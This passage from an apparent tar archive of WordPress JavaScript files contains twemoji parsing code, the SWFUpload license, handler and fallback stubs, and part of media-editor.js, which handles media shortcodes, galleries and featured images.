* @param Element a DOM Element with probably some text in it * @param Array the list of previously discovered text nodes * @return Array same list with new discovered nodes, if any */ function grabAllTextNodes(node, allText) { var childNodes = node.childNodes, length = childNodes.length, subnode, nodeType; while (length--) { subnode = childNodes[length]; nodeType = subnode.nodeType; // parse emoji only in text nodes if (nodeType === 3) { // collect them to process emoji later allText.push(subnode); } // ignore all nodes that are not type 1, that are svg, or that // should not be parsed as script, style, and others else if (nodeType === 1 && !('ownerSVGElement' in subnode) && !shouldntBeParsed.test(subnode.nodeName.toLowerCase())) { // WP start // Use doNotParse() callback if set. if ( twemoji.doNotParse && twemoji.doNotParse( subnode ) ) { continue; } // WP end grabAllTextNodes(subnode, allText); } } return allText; } /** * Used to both remove the possible variant * and to convert utf16 into code points. * If there is a zero-width-joiner (U+200D), leave the variants in. * @param string the raw text of the emoji match * @return string the code point */ function grabTheRightIcon(rawText) { // if variant is present as \uFE0F return toCodePoint(rawText.indexOf(U200D) < 0 ? rawText.replace(UFE0Fg, '') : rawText ); } /** * DOM version of the same logic / parser: * emojify all found sub-text nodes placing images node instead. * @param Element generic DOM node with some text in some child node * @param Object options containing info about how to parse * * .callback Function the callback to invoke per each found emoji. * .base string the base url, by default twemoji.base * .ext string the image extension, by default twemoji.ext * .size string the assets size, by default twemoji.size * * @return Element same generic node with emoji in place, if any. */ function parseNode(node, options) { var allText = grabAllTextNodes(node, []), length = allText.length, attrib, attrname, modified, fragment, subnode, text, match, i, index, img, rawText, iconId, src; while (length--) { modified = false; fragment = document.createDocumentFragment(); subnode = allText[length]; text = subnode.nodeValue; i = 0; while ((match = re.exec(text))) { index = match.index; if (index !== i) { fragment.appendChild( createText(text.slice(i, index), true) ); } rawText = match[0]; iconId = grabTheRightIcon(rawText); i = index + rawText.length; src = options.callback(iconId, options); if (iconId && src) { img = new Image(); img.onerror = options.onerror; img.setAttribute('draggable', 'false'); attrib = options.attributes(rawText, iconId); for (attrname in attrib) { if ( attrib.hasOwnProperty(attrname) && // don't allow any handlers to be set + don't allow overrides attrname.indexOf('on') !== 0 && !img.hasAttribute(attrname) ) { img.setAttribute(attrname, attrib[attrname]); } } img.className = options.className; img.alt = rawText; img.src = src; modified = true; fragment.appendChild(img); } if (!img) fragment.appendChild(createText(rawText, false)); img = null; } // is there actually anything to replace in here ? if (modified) { // any text left to be added ? if (i < text.length) { fragment.appendChild( createText(text.slice(i), true) ); } // replace the text node only, leave intact // anything else surrounding such text subnode.parentNode.replaceChild(fragment, subnode); } } return node; } /** * String/HTML version of the same logic / parser: * emojify a generic text placing images tags instead of surrogates pair. * @param string generic string with possibly some emoji in it * @param Object options containing info about how to parse * * .callback Function the callback to invoke per each found emoji. * .base string the base url, by default twemoji.base * .ext string the image extension, by default twemoji.ext * .size string the assets size, by default twemoji.size * * @return the string with <img tags> replacing all found and parsed emoji */ function parseString(str, options) { return replace(str, function (rawText) { var ret = rawText, iconId = grabTheRightIcon(rawText), src = options.callback(iconId, options), attrib, attrname; if (iconId && src) { // recycle the match string replacing the emoji // with its image counter part ret = '<img '.concat( 'class="', options.className, '" ', 'draggable="false" ', // needs to preserve user original intent // when variants should be copied and pasted too 'alt="', rawText, '"', ' src="', src, '"' ); attrib = options.attributes(rawText, iconId); for (attrname in attrib) { if ( attrib.hasOwnProperty(attrname) && // don't allow any handlers to be set + don't allow overrides attrname.indexOf('on') !== 0 && ret.indexOf(' ' + attrname + '=') === -1 ) { ret = ret.concat(' ', attrname, '="', escapeHTML(attrib[attrname]), '"'); } } ret = ret.concat('/>'); } return ret; }); } /** * Function used to actually replace HTML special chars * @param string HTML special char * @return string encoded HTML special char */ function replacer(m) { return escaper[m]; } /** * Default options.attribute callback * @return null */ function returnNull() { return null; } /** * Given a generic value, creates its squared counterpart if it's a number. * As example, number 36 will return '36x36'. * @param any a generic value. * @return any a string representing asset size, i.e. "36x36" * only in case the value was a number. * Returns initial value otherwise. */ function toSizeSquaredAsset(value) { return typeof value === 'number' ? value + 'x' + value : value; } ///////////////////////// // exported functions // // declaration // ///////////////////////// function fromCodePoint(codepoint) { var code = typeof codepoint === 'string' ? parseInt(codepoint, 16) : codepoint; if (code < 0x10000) { return fromCharCode(code); } code -= 0x10000; return fromCharCode( 0xD800 + (code >> 10), 0xDC00 + (code & 0x3FF) ); } function parse(what, how) { if (!how || typeof how === 'function') { how = {callback: how}; } // WP start // Allow passing of the doNotParse() callback in the settings. // The callback is used in `grabAllTextNodes()` (DOM mode only) as a filter // that allows bypassing of some of the text nodes. It gets the current subnode as argument. twemoji.doNotParse = how.doNotParse; // WP end // if first argument is string, inject html <img> tags // otherwise use the DOM tree and parse text nodes only return (typeof what === 'string' ? parseString : parseNode)(what, { callback: how.callback || defaultImageSrcGenerator, attributes: typeof how.attributes === 'function' ? how.attributes : returnNull, base: typeof how.base === 'string' ? how.base : twemoji.base, ext: how.ext || twemoji.ext, size: how.folder || toSizeSquaredAsset(how.size || twemoji.size), className: how.className || twemoji.className, onerror: how.onerror || twemoji.onerror }); } function replace(text, callback) { return String(text).replace(re, callback); } function test(text) { // IE6 needs a reset before too re.lastIndex = 0; var result = re.test(text); re.lastIndex = 0; return result; } function toCodePoint(unicodeSurrogates, sep) { var r = [], c = 0, p = 0, i = 0; while (i < unicodeSurrogates.length) { c = unicodeSurrogates.charCodeAt(i++); if (p) { r.push((0x10000 + ((p - 0xD800) << 10) + (c - 0xDC00)).toString(16)); p = 0; } else if (0xD800 <= c && c <= 0xDBFF) { p = c; } else { r.push(c.toString(16)); } } return r.join(sep || '-'); } }()); swfupload/license.txt 0000644 00000003004 15111757752 0010743 0 ustar 00 /** * SWFUpload: http://www.swfupload.org, http://swfupload.googlecode.com * * mmSWFUpload 1.0: Flash upload dialog - http://profandesign.se/swfupload/, http://www.vinterwebb.se/ * * SWFUpload is (c) 2006-2007 Lars Huring, Olov Nilzén and Mammon Media and is released under the MIT License: * http://www.opensource.org/licenses/mit-license.php * * SWFUpload 2 is (c) 2007-2008 Jake Roberts and is released under the MIT License: * http://www.opensource.org/licenses/mit-license.php * */ The MIT License Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. swfupload/handlers.js 0000644 00000002664 15111757752 0010731 0 ustar 00 var topWin = window.dialogArguments || opener || parent || top; function fileDialogStart() {} function fileQueued() {} function uploadStart() {} function uploadProgress() {} function prepareMediaItem() {} function prepareMediaItemInit() {} function itemAjaxError() {} function deleteSuccess() {} function deleteError() {} function updateMediaForm() {} function uploadSuccess() {} function uploadComplete() {} function wpQueueError() {} function wpFileError() {} function fileQueueError() {} function fileDialogComplete() {} function uploadError() {} function cancelUpload() {} function switchUploader() { jQuery( '#' + swfu.customSettings.swfupload_element_id ).hide(); jQuery( '#' + swfu.customSettings.degraded_element_id ).show(); jQuery( '.upload-html-bypass' ).hide(); } function swfuploadPreLoad() { switchUploader(); } function swfuploadLoadFailed() { switchUploader(); } jQuery(document).ready(function($){ $( 'input[type="radio"]', '#media-items' ).on( 'click', function(){ var tr = $(this).closest('tr'); if ( $(tr).hasClass('align') ) setUserSetting('align', $(this).val()); else if ( $(tr).hasClass('image-size') ) setUserSetting('imgsize', $(this).val()); }); $( 'button.button', '#media-items' ).on( 'click', function(){ var c = this.className || ''; c = c.match(/url([^ '"]+)/); if ( c && c[1] ) { setUserSetting('urlbutton', c[1]); $(this).siblings('.urlfield').val( $(this).attr('title') ); } }); }); swfupload/handlers.min.js 0000644 00000002374 15111757752 0011511 0 ustar 00 function fileDialogStart(){}function fileQueued(){}function uploadStart(){}function uploadProgress(){}function prepareMediaItem(){}function prepareMediaItemInit(){}function itemAjaxError(){}function deleteSuccess(){}function deleteError(){}function updateMediaForm(){}function uploadSuccess(){}function uploadComplete(){}function wpQueueError(){}function wpFileError(){}function fileQueueError(){}function fileDialogComplete(){}function uploadError(){}function cancelUpload(){}function switchUploader(){jQuery("#"+swfu.customSettings.swfupload_element_id).hide(),jQuery("#"+swfu.customSettings.degraded_element_id).show(),jQuery(".upload-html-bypass").hide()}function swfuploadPreLoad(){switchUploader()}function swfuploadLoadFailed(){switchUploader()}var topWin=window.dialogArguments||opener||parent||top;jQuery(document).ready(function(a){a('input[type="radio"]',"#media-items").on("click",function(){var b=a(this).closest("tr");a(b).hasClass("align")?setUserSetting("align",a(this).val()):a(b).hasClass("image-size")&&setUserSetting("imgsize",a(this).val())}),a("button.button","#media-items").on("click",function(){var b=this.className||"";b=b.match(/url([^ '"]+)/),b&&b[1]&&(setUserSetting("urlbutton",b[1]),a(this).siblings(".urlfield").val(a(this).attr("title")))})}); swfupload/swfupload.js 0000644 00000010527 15111757752 0011132 0 ustar 00 /** * SWFUpload fallback * * @since 4.9.0 */ var SWFUpload; ( function () { function noop() {} if (SWFUpload == undefined) { SWFUpload = function (settings) { this.initSWFUpload(settings); }; } SWFUpload.prototype.initSWFUpload = function ( settings ) { function fallback() { var $ = window.jQuery; var $placeholder = settings.button_placeholder_id ? $( '#' + settings.button_placeholder_id ) : $( settings.button_placeholder ); if ( ! $placeholder.length ) { return; } var $form = $placeholder.closest( 'form' ); if ( ! $form.length ) { $form = $( '<form enctype="multipart/form-data" method="post">' ); $form.attr( 'action', settings.upload_url ); $form.insertAfter( $placeholder ).append( $placeholder ); } $placeholder.replaceWith( $( '<div>' ) .append( $( '<input type="file" multiple />' ).attr({ name: settings.file_post_name || 'async-upload', accepts: settings.file_types || '*.*' }) ).append( $( '<input type="submit" name="html-upload" class="button" value="Upload" />' ) ) ); } try { // Try the built-in fallback. if ( typeof settings.swfupload_load_failed_handler === 'function' && settings.custom_settings ) { window.swfu = { customSettings: settings.custom_settings }; settings.swfupload_load_failed_handler(); } else { fallback(); } } catch ( ex ) { fallback(); } }; SWFUpload.instances = {}; SWFUpload.movieCount = 0; SWFUpload.version = "0"; SWFUpload.QUEUE_ERROR = {}; SWFUpload.UPLOAD_ERROR = {}; SWFUpload.FILE_STATUS = {}; SWFUpload.BUTTON_ACTION = {}; SWFUpload.CURSOR = {}; SWFUpload.WINDOW_MODE = {}; SWFUpload.completeURL = noop; SWFUpload.prototype.initSettings = noop; SWFUpload.prototype.loadFlash = noop; SWFUpload.prototype.getFlashHTML = noop; SWFUpload.prototype.getFlashVars = noop; SWFUpload.prototype.getMovieElement = noop; SWFUpload.prototype.buildParamString = noop; SWFUpload.prototype.destroy = noop; SWFUpload.prototype.displayDebugInfo = noop; SWFUpload.prototype.addSetting = noop; SWFUpload.prototype.getSetting = noop; SWFUpload.prototype.callFlash = noop; SWFUpload.prototype.selectFile = noop; SWFUpload.prototype.selectFiles = noop; SWFUpload.prototype.startUpload = noop; SWFUpload.prototype.cancelUpload = noop; SWFUpload.prototype.stopUpload = noop; SWFUpload.prototype.getStats = noop; SWFUpload.prototype.setStats = noop; SWFUpload.prototype.getFile = noop; SWFUpload.prototype.addFileParam = noop; SWFUpload.prototype.removeFileParam = noop; SWFUpload.prototype.setUploadURL = noop; SWFUpload.prototype.setPostParams = noop; SWFUpload.prototype.addPostParam = noop; SWFUpload.prototype.removePostParam = noop; SWFUpload.prototype.setFileTypes = noop; SWFUpload.prototype.setFileSizeLimit = noop; SWFUpload.prototype.setFileUploadLimit = noop; SWFUpload.prototype.setFileQueueLimit = noop; SWFUpload.prototype.setFilePostName = noop; SWFUpload.prototype.setUseQueryString = noop; SWFUpload.prototype.setRequeueOnError = noop; SWFUpload.prototype.setHTTPSuccess = noop; SWFUpload.prototype.setAssumeSuccessTimeout = noop; SWFUpload.prototype.setDebugEnabled = noop; SWFUpload.prototype.setButtonImageURL = noop; SWFUpload.prototype.setButtonDimensions = noop; SWFUpload.prototype.setButtonText = noop; SWFUpload.prototype.setButtonTextPadding = noop; SWFUpload.prototype.setButtonTextStyle = noop; SWFUpload.prototype.setButtonDisabled = noop; SWFUpload.prototype.setButtonAction = noop; SWFUpload.prototype.setButtonCursor = noop; SWFUpload.prototype.queueEvent = noop; SWFUpload.prototype.executeNextEvent = noop; SWFUpload.prototype.unescapeFilePostParams = noop; SWFUpload.prototype.testExternalInterface = noop; SWFUpload.prototype.flashReady = noop; SWFUpload.prototype.cleanUp = noop; SWFUpload.prototype.fileDialogStart = noop; SWFUpload.prototype.fileQueued = noop; SWFUpload.prototype.fileQueueError = noop; SWFUpload.prototype.fileDialogComplete = noop; SWFUpload.prototype.uploadStart = noop; SWFUpload.prototype.returnUploadStart = noop; SWFUpload.prototype.uploadProgress = noop; SWFUpload.prototype.uploadError = noop; SWFUpload.prototype.uploadSuccess = noop; SWFUpload.prototype.uploadComplete = noop; SWFUpload.prototype.debug = noop; SWFUpload.prototype.debugMessage = noop; SWFUpload.Console = { writeLine: noop }; }() ); media-editor.js 0000644 00000070677 15111757752 0007501 0 ustar 00 /** * @output wp-includes/js/media-editor.js */ /* global getUserSetting, tinymce, QTags */ // WordPress, TinyMCE, and Media // ----------------------------- (function($, _){ /** * Stores the editors' `wp.media.controller.Frame` instances. * * @static */ var workflows = {}; /** * A helper mixin function to avoid truthy and falsey values being * passed as an input that expects booleans. If key is undefined in the map, * but has a default value, set it. * * @param {Object} attrs Map of props from a shortcode or settings. * @param {string} key The key within the passed map to check for a value. * @return {mixed|undefined} The original or coerced value of key within attrs. */ wp.media.coerce = function ( attrs, key ) { if ( _.isUndefined( attrs[ key ] ) && ! _.isUndefined( this.defaults[ key ] ) ) { attrs[ key ] = this.defaults[ key ]; } else if ( 'true' === attrs[ key ] ) { attrs[ key ] = true; } else if ( 'false' === attrs[ key ] ) { attrs[ key ] = false; } return attrs[ key ]; }; /** @namespace wp.media.string */ wp.media.string = { /** * Joins the `props` and `attachment` objects, * outputting the proper object format based on the * attachment's type. * * @param {Object} [props={}] Attachment details (align, link, size, etc). * @param {Object} attachment The attachment object, media version of Post. * @return {Object} Joined props */ props: function( props, attachment ) { var link, linkUrl, size, sizes, defaultProps = wp.media.view.settings.defaultProps; props = props ? _.clone( props ) : {}; if ( attachment && attachment.type ) { props.type = attachment.type; } if ( 'image' === props.type ) { props = _.defaults( props || {}, { align: defaultProps.align || getUserSetting( 'align', 'none' ), size: defaultProps.size || getUserSetting( 'imgsize', 'medium' ), url: '', classes: [] }); } // All attachment-specific settings follow. if ( ! attachment ) { return props; } props.title = props.title || attachment.title; link = props.link || defaultProps.link || getUserSetting( 'urlbutton', 'file' ); if ( 'file' === link || 'embed' === link ) { linkUrl = attachment.url; } else if ( 'post' === link ) { linkUrl = attachment.link; } else if ( 'custom' === link ) { linkUrl = props.linkUrl; } props.linkUrl = linkUrl || ''; // Format properties for images. if ( 'image' === attachment.type ) { props.classes.push( 'wp-image-' + attachment.id ); sizes = attachment.sizes; size = sizes && sizes[ props.size ] ? sizes[ props.size ] : attachment; _.extend( props, _.pick( attachment, 'align', 'caption', 'alt' ), { width: size.width, height: size.height, src: size.url, captionId: 'attachment_' + attachment.id }); } else if ( 'video' === attachment.type || 'audio' === attachment.type ) { _.extend( props, _.pick( attachment, 'title', 'type', 'icon', 'mime' ) ); // Format properties for non-images. } else { props.title = props.title || attachment.filename; props.rel = props.rel || 'attachment wp-att-' + attachment.id; } return props; }, /** * Create link markup that is suitable for passing to the editor * * @param {Object} props Attachment details (align, link, size, etc). * @param {Object} attachment The attachment object, media version of Post. * @return {string} The link markup */ link: function( props, attachment ) { var options; props = wp.media.string.props( props, attachment ); options = { tag: 'a', content: props.title, attrs: { href: props.linkUrl } }; if ( props.rel ) { options.attrs.rel = props.rel; } return wp.html.string( options ); }, /** * Create an Audio shortcode string that is suitable for passing to the editor * * @param {Object} props Attachment details (align, link, size, etc). * @param {Object} attachment The attachment object, media version of Post. * @return {string} The audio shortcode */ audio: function( props, attachment ) { return wp.media.string._audioVideo( 'audio', props, attachment ); }, /** * Create a Video shortcode string that is suitable for passing to the editor * * @param {Object} props Attachment details (align, link, size, etc). * @param {Object} attachment The attachment object, media version of Post. * @return {string} The video shortcode */ video: function( props, attachment ) { return wp.media.string._audioVideo( 'video', props, attachment ); }, /** * Helper function to create a media shortcode string * * @access private * * @param {string} type The shortcode tag name: 'audio' or 'video'. * @param {Object} props Attachment details (align, link, size, etc). * @param {Object} attachment The attachment object, media version of Post. * @return {string} The media shortcode */ _audioVideo: function( type, props, attachment ) { var shortcode, html, extension; props = wp.media.string.props( props, attachment ); if ( props.link !== 'embed' ) { return wp.media.string.link( props ); } shortcode = {}; if ( 'video' === type ) { if ( attachment.image && -1 === attachment.image.src.indexOf( attachment.icon ) ) { shortcode.poster = attachment.image.src; } if ( attachment.width ) { shortcode.width = attachment.width; } if ( attachment.height ) { shortcode.height = attachment.height; } } extension = attachment.filename.split('.').pop(); if ( _.contains( wp.media.view.settings.embedExts, extension ) ) { shortcode[extension] = attachment.url; } else { // Render unsupported audio and video files as links. return wp.media.string.link( props ); } html = wp.shortcode.string({ tag: type, attrs: shortcode }); return html; }, /** * Create image markup, optionally with a link and/or wrapped in a caption shortcode, * that is suitable for passing to the editor * * @param {Object} props Attachment details (align, link, size, etc). * @param {Object} attachment The attachment object, media version of Post. * @return {string} */ image: function( props, attachment ) { var img = {}, options, classes, shortcode, html; props.type = 'image'; props = wp.media.string.props( props, attachment ); classes = props.classes || []; img.src = ! _.isUndefined( attachment ) ? attachment.url : props.url; _.extend( img, _.pick( props, 'width', 'height', 'alt' ) ); // Only assign the align class to the image if we're not printing // a caption, since the alignment is sent to the shortcode. if ( props.align && ! props.caption ) { classes.push( 'align' + props.align ); } if ( props.size ) { classes.push( 'size-' + props.size ); } img['class'] = _.compact( classes ).join(' '); // Generate `img` tag options. options = { tag: 'img', attrs: img, single: true }; // Generate the `a` element options, if they exist. if ( props.linkUrl ) { options = { tag: 'a', attrs: { href: props.linkUrl }, content: options }; } html = wp.html.string( options ); // Generate the caption shortcode. if ( props.caption ) { shortcode = {}; if ( img.width ) { shortcode.width = img.width; } if ( props.captionId ) { shortcode.id = props.captionId; } if ( props.align ) { shortcode.align = 'align' + props.align; } html = wp.shortcode.string({ tag: 'caption', attrs: shortcode, content: html + ' ' + props.caption }); } return html; } }; wp.media.embed = { coerce : wp.media.coerce, defaults : { url : '', width: '', height: '' }, edit : function( data, isURL ) { var frame, props = {}, shortcode; if ( isURL ) { props.url = data.replace(/<[^>]+>/g, ''); } else { shortcode = wp.shortcode.next( 'embed', data ).shortcode; props = _.defaults( shortcode.attrs.named, this.defaults ); if ( shortcode.content ) { props.url = shortcode.content; } } frame = wp.media({ frame: 'post', state: 'embed', metadata: props }); return frame; }, shortcode : function( model ) { var self = this, content; _.each( this.defaults, function( value, key ) { model[ key ] = self.coerce( model, key ); if ( value === model[ key ] ) { delete model[ key ]; } }); content = model.url; delete model.url; return new wp.shortcode({ tag: 'embed', attrs: model, content: content }); } }; /** * @class wp.media.collection * * @param {Object} attributes */ wp.media.collection = function(attributes) { var collections = {}; return _.extend(/** @lends wp.media.collection.prototype */{ coerce : wp.media.coerce, /** * Retrieve attachments based on the properties of the passed shortcode * * @param {wp.shortcode} shortcode An instance of wp.shortcode(). * @return {wp.media.model.Attachments} A Backbone.Collection containing * the media items belonging to a collection. * The query[ this.tag ] property is a Backbone.Model * containing the 'props' for the collection. */ attachments: function( shortcode ) { var shortcodeString = shortcode.string(), result = collections[ shortcodeString ], attrs, args, query, others, self = this; delete collections[ shortcodeString ]; if ( result ) { return result; } // Fill the default shortcode attributes. attrs = _.defaults( shortcode.attrs.named, this.defaults ); args = _.pick( attrs, 'orderby', 'order' ); args.type = this.type; args.perPage = -1; // Mark the `orderby` override attribute. if ( undefined !== attrs.orderby ) { attrs._orderByField = attrs.orderby; } if ( 'rand' === attrs.orderby ) { attrs._orderbyRandom = true; } // Map the `orderby` attribute to the corresponding model property. if ( ! attrs.orderby || /^menu_order(?: ID)?$/i.test( attrs.orderby ) ) { args.orderby = 'menuOrder'; } // Map the `ids` param to the correct query args. if ( attrs.ids ) { args.post__in = attrs.ids.split(','); args.orderby = 'post__in'; } else if ( attrs.include ) { args.post__in = attrs.include.split(','); } if ( attrs.exclude ) { args.post__not_in = attrs.exclude.split(','); } if ( ! args.post__in ) { args.uploadedTo = attrs.id; } // Collect the attributes that were not included in `args`. others = _.omit( attrs, 'id', 'ids', 'include', 'exclude', 'orderby', 'order' ); _.each( this.defaults, function( value, key ) { others[ key ] = self.coerce( others, key ); }); query = wp.media.query( args ); query[ this.tag ] = new Backbone.Model( others ); return query; }, /** * Triggered when clicking 'Insert {label}' or 'Update {label}' * * @param {wp.media.model.Attachments} attachments A Backbone.Collection containing * the media items belonging to a collection. * The query[ this.tag ] property is a Backbone.Model * containing the 'props' for the collection. * @return {wp.shortcode} */ shortcode: function( attachments ) { var props = attachments.props.toJSON(), attrs = _.pick( props, 'orderby', 'order' ), shortcode, clone; if ( attachments.type ) { attrs.type = attachments.type; delete attachments.type; } if ( attachments[this.tag] ) { _.extend( attrs, attachments[this.tag].toJSON() ); } /* * Convert all gallery shortcodes to use the `ids` property. * Ignore `post__in` and `post__not_in`; the attachments in * the collection will already reflect those properties. */ attrs.ids = attachments.pluck('id'); // Copy the `uploadedTo` post ID. if ( props.uploadedTo ) { attrs.id = props.uploadedTo; } // Check if the gallery is randomly ordered. delete attrs.orderby; if ( attrs._orderbyRandom ) { attrs.orderby = 'rand'; } else if ( attrs._orderByField && 'rand' !== attrs._orderByField ) { attrs.orderby = attrs._orderByField; } delete attrs._orderbyRandom; delete attrs._orderByField; // If the `ids` attribute is set and `orderby` attribute // is the default value, clear it for cleaner output. if ( attrs.ids && 'post__in' === attrs.orderby ) { delete attrs.orderby; } attrs = this.setDefaults( attrs ); shortcode = new wp.shortcode({ tag: this.tag, attrs: attrs, type: 'single' }); // Use a cloned version of the gallery. clone = new wp.media.model.Attachments( attachments.models, { props: props }); clone[ this.tag ] = attachments[ this.tag ]; collections[ shortcode.string() ] = clone; return shortcode; }, /** * Triggered when double-clicking a collection shortcode placeholder * in the editor * * @param {string} content Content that is searched for possible * shortcode markup matching the passed tag name, * * @this wp.media.{prop} * * @return {wp.media.view.MediaFrame.Select} A media workflow. */ edit: function( content ) { var shortcode = wp.shortcode.next( this.tag, content ), defaultPostId = this.defaults.id, attachments, selection, state; // Bail if we didn't match the shortcode or all of the content. if ( ! shortcode || shortcode.content !== content ) { return; } // Ignore the rest of the match object. shortcode = shortcode.shortcode; if ( _.isUndefined( shortcode.get('id') ) && ! _.isUndefined( defaultPostId ) ) { shortcode.set( 'id', defaultPostId ); } attachments = this.attachments( shortcode ); selection = new wp.media.model.Selection( attachments.models, { props: attachments.props.toJSON(), multiple: true }); selection[ this.tag ] = attachments[ this.tag ]; // Fetch the query's attachments, and then break ties from the // query to allow for sorting. selection.more().done( function() { // Break ties with the query. selection.props.set({ query: false }); selection.unmirror(); selection.props.unset('orderby'); }); // Destroy the previous gallery frame. if ( this.frame ) { this.frame.dispose(); } if ( shortcode.attrs.named.type && 'video' === shortcode.attrs.named.type ) { state = 'video-' + this.tag + '-edit'; } else { state = this.tag + '-edit'; } // Store the current frame. this.frame = wp.media({ frame: 'post', state: state, title: this.editTitle, editing: true, multiple: true, selection: selection }).open(); return this.frame; }, setDefaults: function( attrs ) { var self = this; // Remove default attributes from the shortcode. _.each( this.defaults, function( value, key ) { attrs[ key ] = self.coerce( attrs, key ); if ( value === attrs[ key ] ) { delete attrs[ key ]; } }); return attrs; } }, attributes ); }; wp.media._galleryDefaults = { itemtag: 'dl', icontag: 'dt', captiontag: 'dd', columns: '3', link: 'post', size: 'thumbnail', order: 'ASC', id: wp.media.view.settings.post && wp.media.view.settings.post.id, orderby : 'menu_order ID' }; if ( wp.media.view.settings.galleryDefaults ) { wp.media.galleryDefaults = _.extend( {}, wp.media._galleryDefaults, wp.media.view.settings.galleryDefaults ); } else { wp.media.galleryDefaults = wp.media._galleryDefaults; } wp.media.gallery = new wp.media.collection({ tag: 'gallery', type : 'image', editTitle : wp.media.view.l10n.editGalleryTitle, defaults : wp.media.galleryDefaults, setDefaults: function( attrs ) { var self = this, changed = ! _.isEqual( wp.media.galleryDefaults, wp.media._galleryDefaults ); _.each( this.defaults, function( value, key ) { attrs[ key ] = self.coerce( attrs, key ); if ( value === attrs[ key ] && ( ! changed || value === wp.media._galleryDefaults[ key ] ) ) { delete attrs[ key ]; } } ); return attrs; } }); /** * @namespace wp.media.featuredImage * @memberOf wp.media */ wp.media.featuredImage = { /** * Get the featured image post ID * * @return {wp.media.view.settings.post.featuredImageId|number} */ get: function() { return wp.media.view.settings.post.featuredImageId; }, /** * Sets the featured image ID property and sets the HTML in the post meta box to the new featured image. * * @param {number} id The post ID of the featured image, or -1 to unset it. */ set: function( id ) { var settings = wp.media.view.settings; settings.post.featuredImageId = id; wp.media.post( 'get-post-thumbnail-html', { post_id: settings.post.id, thumbnail_id: settings.post.featuredImageId, _wpnonce: settings.post.nonce }).done( function( html ) { if ( '0' === html ) { window.alert( wp.i18n.__( 'Could not set that as the thumbnail image. Try a different attachment.' ) ); return; } $( '.inside', '#postimagediv' ).html( html ); }); }, /** * Remove the featured image id, save the post thumbnail data and * set the HTML in the post meta box to no featured image. */ remove: function() { wp.media.featuredImage.set( -1 ); }, /** * The Featured Image workflow * * @this wp.media.featuredImage * * @return {wp.media.view.MediaFrame.Select} A media workflow. */ frame: function() { if ( this._frame ) { wp.media.frame = this._frame; return this._frame; } this._frame = wp.media({ state: 'featured-image', states: [ new wp.media.controller.FeaturedImage() , new wp.media.controller.EditImage() ] }); this._frame.on( 'toolbar:create:featured-image', function( toolbar ) { /** * @this wp.media.view.MediaFrame.Select */ this.createSelectToolbar( toolbar, { text: wp.media.view.l10n.setFeaturedImage }); }, this._frame ); this._frame.on( 'content:render:edit-image', function() { var selection = this.state('featured-image').get('selection'), view = new wp.media.view.EditImage( { model: selection.single(), controller: this } ).render(); this.content.set( view ); // After bringing in the frame, load the actual editor via an Ajax call. view.loadEditor(); }, this._frame ); this._frame.state('featured-image').on( 'select', this.select ); return this._frame; }, /** * 'select' callback for Featured Image workflow, triggered when * the 'Set Featured Image' button is clicked in the media modal. * * @this wp.media.controller.FeaturedImage */ select: function() { var selection = this.get('selection').single(); if ( ! wp.media.view.settings.post.featuredImageId ) { return; } wp.media.featuredImage.set( selection ? selection.id : -1 ); }, /** * Open the content media manager to the 'featured image' tab when * the post thumbnail is clicked. * * Update the featured image id when the 'remove' link is clicked. */ init: function() { $('#postimagediv').on( 'click', '#set-post-thumbnail', function( event ) { event.preventDefault(); // Stop propagation to prevent thickbox from activating. event.stopPropagation(); wp.media.featuredImage.frame().open(); }).on( 'click', '#remove-post-thumbnail', function() { wp.media.featuredImage.remove(); return false; }); } }; $( wp.media.featuredImage.init ); /** @namespace wp.media.editor */ wp.media.editor = { /** * Send content to the editor * * @param {string} html Content to send to the editor */ insert: function( html ) { var editor, wpActiveEditor, hasTinymce = ! _.isUndefined( window.tinymce ), hasQuicktags = ! _.isUndefined( window.QTags ); if ( this.activeEditor ) { wpActiveEditor = window.wpActiveEditor = this.activeEditor; } else { wpActiveEditor = window.wpActiveEditor; } /* * Delegate to the global `send_to_editor` if it exists. * This attempts to play nice with any themes/plugins * that have overridden the insert functionality. */ if ( window.send_to_editor ) { return window.send_to_editor.apply( this, arguments ); } if ( ! wpActiveEditor ) { if ( hasTinymce && tinymce.activeEditor ) { editor = tinymce.activeEditor; wpActiveEditor = window.wpActiveEditor = editor.id; } else if ( ! hasQuicktags ) { return false; } } else if ( hasTinymce ) { editor = tinymce.get( wpActiveEditor ); } if ( editor && ! editor.isHidden() ) { editor.execCommand( 'mceInsertContent', false, html ); } else if ( hasQuicktags ) { QTags.insertContent( html ); } else { document.getElementById( wpActiveEditor ).value += html; } // If the old thickbox remove function exists, call it in case // a theme/plugin overloaded it. if ( window.tb_remove ) { try { window.tb_remove(); } catch( e ) {} } }, /** * Setup 'workflow' and add to the 'workflows' cache. 'open' can * subsequently be called upon it. * * @param {string} id A slug used to identify the workflow. * @param {Object} [options={}] * * @this wp.media.editor * * @return {wp.media.view.MediaFrame.Select} A media workflow. */ add: function( id, options ) { var workflow = this.get( id ); // Only add once: if exists return existing. if ( workflow ) { return workflow; } workflow = workflows[ id ] = wp.media( _.defaults( options || {}, { frame: 'post', state: 'insert', title: wp.media.view.l10n.addMedia, multiple: true } ) ); workflow.on( 'insert', function( selection ) { var state = workflow.state(); selection = selection || state.get('selection'); if ( ! selection ) { return; } $.when.apply( $, selection.map( function( attachment ) { var display = state.display( attachment ).toJSON(); /** * @this wp.media.editor */ return this.send.attachment( display, attachment.toJSON() ); }, this ) ).done( function() { wp.media.editor.insert( _.toArray( arguments ).join('\n\n') ); }); }, this ); workflow.state('gallery-edit').on( 'update', function( selection ) { /** * @this wp.media.editor */ this.insert( wp.media.gallery.shortcode( selection ).string() ); }, this ); workflow.state('playlist-edit').on( 'update', function( selection ) { /** * @this wp.media.editor */ this.insert( wp.media.playlist.shortcode( selection ).string() ); }, this ); 